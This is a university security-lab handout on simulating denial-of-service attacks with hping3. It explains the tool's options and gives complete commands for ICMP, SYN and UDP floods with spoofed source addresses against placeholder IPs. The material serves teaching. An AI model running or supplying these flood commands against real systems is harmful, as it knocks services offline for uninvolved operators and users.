Academic Year: 2032-24 **Semester: V**
Class / Branch: TE IT
Subject: Security Lab (SL)
Subject Lab Incharge: Prof. Apeksha Mohite

EXPERIMENT NO. 5

Aim: To simulate DOS attack by using HPING and other tools.

Theory:

What Is hPing3:
hping3 is a network tool able to send custom TCP/IP packets and to display target replies like ping program does with ICMP replies. hping3 handle fragmentation, arbitrary packets body and size and can be used in order to transfer files encapsulated under supported protocols. Using hping3 you are able to perform at least the following stuff.

Arguments:
Though hping3 offers wide variety of options, here we r gonna use few of them including :

--flood : Sent packets as fast as possible, without taking care to show incoming

replies.

-I : Interface to use (used if u r connected to multiple interfaces else optional)

-1 : ICMP mode

-2 : UDP mode

-a : Fake Hostname

-p : Destination port

-S : Set the SYN flag

DoS Attack With hping3: Usage:
hping3 [options] IP

You can see the results by capturing the packets from wireshark, but this could even hang or crash your wireshark. It is very similar to tools like HOIC and LOIC, but way too powerful !

So if u want to flood the IP x.x.x.x with ping requests originating from IP y.y.y.y type

 # hping3 -1 --flood -a y.y.y.y x.x.x.x

Similarly if you want to flood the IP x.x.x.x on port 80 with SYN requests from fake IP y.y.y.y, type

 # hping3 -S -a y.y.y.y --flood -p 80 x.x.x.x

This will send multiple SYN requests to port 80(http) and the victim will reply with SYN+ACK, now since the IP y.y.y.y is fake hence the connection will never establish, thus exhausting the victims bandwidth and resources.

BY DEFAULT hping3 attacks on TCP ports, to change it to UDP just use -2 option.

 # hping3 --flood -a y.y.y.y -2 -p 6234 x.x.x.x

The above command will send UDP flood packets to x.x.x.x on port 6234 that would seem to originate from y.y.y.y

Conclusion:
Hence we have successfully studied simulation of DOS attack by using HPING3.